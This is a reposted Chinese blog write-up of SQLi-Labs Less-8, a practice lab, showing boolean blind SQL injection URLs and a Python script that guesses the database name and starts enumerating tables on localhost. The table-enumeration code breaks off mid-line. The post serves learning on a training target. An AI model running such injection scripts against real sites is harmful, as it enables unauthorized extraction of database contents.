我是靠谱客的博主 香蕉热狗,最近开发中收集的这篇文章主要介绍【SQLi-Labs刷题记录】第八关思路 布尔盲注,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

/*
作者刚刚接触sql注入,本文仅用作记录刷sqli-labs靶场时的思路,仅代表个人看法,如有不当之处,欢迎各位大佬及时批评指正!
*/

根据关卡名称可知,sqli-labs第八关的考点是布尔盲注

SQLi-Labs Less-8

第一步,根据关卡名称提示可知,本题的注入点需要构造一个闭合的单引号对
构建url: …/Less-8/?id=8’ 页面无显示
构建url: …/Less-8/?id=8’ --+ 页面显示正常
在这里插入图片描述

根据页面回显可知,本关的反馈结果只有“You are in”或者没有反馈,而不会有具体的显示结果,因此我们只能通过“猜”的方式进行注入
第二步,“猜测”数据库名称
猜测数据库名称可以分为两步:猜测名称长度和猜测具体的字符串。具体猜测过程比较枯燥、乏味且繁琐,因此我们可以交给代码来做这件事,具体代码如下:

import requests

url = "http://localhost/html/sqli-labs/Less-8/?id=1'"
# 数据库名称长度
i = 0
while 1:
	url1 = url + 'and length(database())>'+str(i)+'--+'
	re = requests.get(url1)
	if 'You are in' not in str(re.content):
		break
	i = i + 1
lenDb = i
# 数据库名称
database = ''
for i in range(lenDb):
	for asc in range(65,123):
		url1 = url + 'and ascii(substr(database(),'+str(i+1)+',1))='+str(asc)+' --+'
		re = requests.get(url1)
		if 'You are in' in str(re.content):
			database = database + chr(asc)
			break
print(database)

代码中涉及到了布尔盲注的几个常用函数,文章结尾会做一个简单的介绍,此处暂且不提。
第三步,表名称的获取
和数据库名称相似,表名称的获取可以分为三步:首先获取security库中表的数量,再依次猜测每个表名的长度和具体字符。具体代码如下:

# 表的数量
tableNum = 0
while 1:
	url1 = url +"and exists(select table_name from information_schema.tables where table_schema='security' limit "+str(tableNum)+",1)--+"
	re = requests.get(url1)
	if 'You are in' 

最后

以上就是香蕉热狗为你收集整理的【SQLi-Labs刷题记录】第八关思路 布尔盲注的全部内容,希望文章能够帮你解决【SQLi-Labs刷题记录】第八关思路 布尔盲注所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(41)

评论列表共有 0 条评论

立即
投稿
返回
顶部